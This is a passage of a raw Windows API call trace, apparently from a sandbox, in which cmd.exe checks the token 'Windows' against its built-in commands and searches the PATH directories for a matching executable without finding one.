0x20b0fa60940 [0228.326] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0228.326] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0228.326] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0228.326] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0228.326] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0228.326] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0228.326] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0228.326] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0228.326] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0228.326] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0228.326] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0228.326] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0228.326] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0228.326] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0228.326] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0228.326] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0228.326] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0228.326] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0228.326] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0228.326] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0228.326] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0228.326] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0228.326] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0228.326] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0228.326] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0228.327] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0228.327] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0228.327] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0228.327] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0228.327] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0228.327] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0228.327] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0228.327] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0228.327] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0228.327] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0228.327] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0228.327] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0228.327] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0228.327] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0228.327] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0228.327] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0228.327] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0228.327] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0228.327] malloc (_Size=0xffce) returned 0x20b0fa70920 [0228.327] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0228.328] GetProcessHeap () returned 0x20b0f920000 [0228.328] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0228.330] SetErrorMode (uMode=0x0) returned 0x0 [0228.330] SetErrorMode (uMode=0x1) returned 0x0 [0228.330] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0228.330] SetErrorMode (uMode=0x0) returned 0x1 [0228.330] GetProcessHeap () returned 0x20b0f920000 [0228.330] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0228.330] GetProcessHeap () returned 0x20b0f920000 [0228.330] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0228.330] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0228.330] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0228.330] GetProcessHeap () returned 0x20b0f920000 [0228.330] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92ca50 [0228.330] GetProcessHeap () returned 0x20b0f920000 [0228.330] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0228.330] GetProcessHeap () returned 0x20b0f920000 [0228.330] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0228.330] GetProcessHeap () returned 0x20b0f920000 [0228.330] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0228.330] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0228.330] GetProcessHeap () returned 0x20b0f920000 [0228.331] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d600 [0228.331] GetProcessHeap () returned 0x20b0f920000 [0228.331] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d600, Size=0x7e) returned 0x20b0f92d600 [0228.331] GetProcessHeap () returned 0x20b0f920000 [0228.331] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d600) returned 0x7e [0228.331] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.331] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cc70 [0228.331] FindClose (in: hFindFile=0x20b0f92cc70 | out: hFindFile=0x20b0f92cc70) returned 1 [0228.331] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.331] GetLastError () returned 0x2 [0228.331] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.331] GetLastError () returned 0x2 [0228.332] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.332] GetLastError () returned 0x2 [0228.332] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.332] GetLastError () returned 0x2 [0228.332] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.332] GetLastError () returned 0x2 [0228.332] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.332] GetLastError () returned 0x2 [0228.333] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.333] GetLastError () returned 0x2 [0228.333] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.333] GetLastError () returned 0x2 [0228.333] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.333] GetLastError () returned 0x2 [0228.333] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.333] GetLastError () returned 0x2 [0228.333] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.334] GetLastError () returned 0x2 [0228.334] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.334] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.334] GetLastError () returned 0x2 [0228.334] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.334] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cf70 [0228.334] FindClose (in: hFindFile=0x20b0f92cf70 | out: hFindFile=0x20b0f92cf70) returned 1 [0228.334] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.334] GetLastError () returned 0x2 [0228.334] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.335] GetLastError () returned 0x2 [0228.335] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.335] GetLastError () returned 0x2 [0228.335] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.335] GetLastError () returned 0x2 [0228.335] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.335] GetLastError () returned 0x2 [0228.335] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.335] GetLastError () returned 0x2 [0228.335] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.336] GetLastError () returned 0x2 [0228.336] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.336] GetLastError () returned 0x2 [0228.336] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.336] GetLastError () returned 0x2 [0228.336] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.336] GetLastError () returned 0x2 [0228.336] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.336] GetLastError () returned 0x2 [0228.336] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.336] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.337] GetLastError () returned 0x2 [0228.337] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.337] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.337] GetLastError () returned 0x2 [0228.337] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.337] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.337] GetLastError () returned 0x2 [0228.337] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.337] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.337] GetLastError () returned 0x2 [0228.337] ??_V@YAXPEAX@Z () returned 0x1 [0228.337] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0228.339] malloc (_Size=0xffce) returned 0x20b0fa70920 [0228.339] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0228.339] malloc (_Size=0xffce) returned 0x20b0fa80900 [0228.339] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0228.340] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0228.340] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0228.340] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0228.340] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0228.340] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0228.340] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0228.340] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0228.340] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0228.340] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0228.340] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0228.340] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0228.340] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0228.340] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0228.340] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0228.340] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0228.340] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0228.340] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0228.341] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0228.341] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0228.341] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0228.341] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0228.341] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0228.341] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0228.341] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0228.341] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0228.341] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0228.341] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0228.341] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0228.341] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0228.341] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0228.341] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0228.341] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0228.341] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0228.341] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0228.341] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0228.341] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0228.341] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0228.341] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0228.341] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0228.341] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0228.341] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0228.341] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0228.341] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0228.341] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0228.341] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0228.341] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0228.341] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0228.341] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0228.341] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0228.341] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0228.341] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0228.341] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0228.341] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0228.342] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0228.342] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0228.342] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0228.342] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0228.342] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0228.342] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0228.342] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0228.342] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0228.342] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0228.342] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0228.342] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0228.342] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0228.342] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0228.342] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0228.342] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0228.342] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0228.342] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0228.342] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0228.342] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0228.342] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0228.342] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0228.342] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0228.342] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0228.342] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0228.342] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0228.342] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0228.342] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0228.342] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0228.342] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0228.342] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0228.343] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0228.343] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0228.343] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0228.343] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0228.343] ??_V@YAXPEAX@Z () returned 0x1 [0228.343] GetProcessHeap () returned 0x20b0f920000 [0228.343] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0228.343] GetProcessHeap () returned 0x20b0f920000 [0228.343] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xc0) returned 0x20b0f957240 [0228.343] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0228.343] malloc (_Size=0xffce) returned 0x20b0fa80900 [0228.344] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0228.344] GetProcessHeap () returned 0x20b0f920000 [0228.344] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0228.346] SetErrorMode (uMode=0x0) returned 0x0 [0228.346] SetErrorMode (uMode=0x1) returned 0x0 [0228.346] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0228.346] SetErrorMode (uMode=0x0) returned 0x1 [0228.346] GetProcessHeap () returned 0x20b0f920000 [0228.346] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0228.346] GetProcessHeap () returned 0x20b0f920000 [0228.346] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0228.346] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0228.346] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0228.346] GetProcessHeap () returned 0x20b0f920000 [0228.346] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e0d0 [0228.346] GetProcessHeap () returned 0x20b0f920000 [0228.346] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9255e0 [0228.346] GetProcessHeap () returned 0x20b0f920000 [0228.346] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9255e0, Size=0x1b6) returned 0x20b0f9255e0 [0228.346] GetProcessHeap () returned 0x20b0f920000 [0228.346] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9255e0) returned 0x1b6 [0228.346] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0228.346] GetProcessHeap () returned 0x20b0f920000 [0228.346] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d690 [0228.346] GetProcessHeap () returned 0x20b0f920000 [0228.346] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d690, Size=0x7e) returned 0x20b0f92d690 [0228.347] GetProcessHeap () returned 0x20b0f920000 [0228.347] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d690) returned 0x7e [0228.347] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.347] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d090 [0228.347] FindClose (in: hFindFile=0x20b0f92d090 | out: hFindFile=0x20b0f92d090) returned 1 [0228.347] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.347] GetLastError () returned 0x2 [0228.347] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.347] GetLastError () returned 0x2 [0228.347] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.348] GetLastError () returned 0x2 [0228.348] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.348] GetLastError () returned 0x2 [0228.348] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.348] GetLastError () returned 0x2 [0228.348] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0228.348] GetLastError () returned 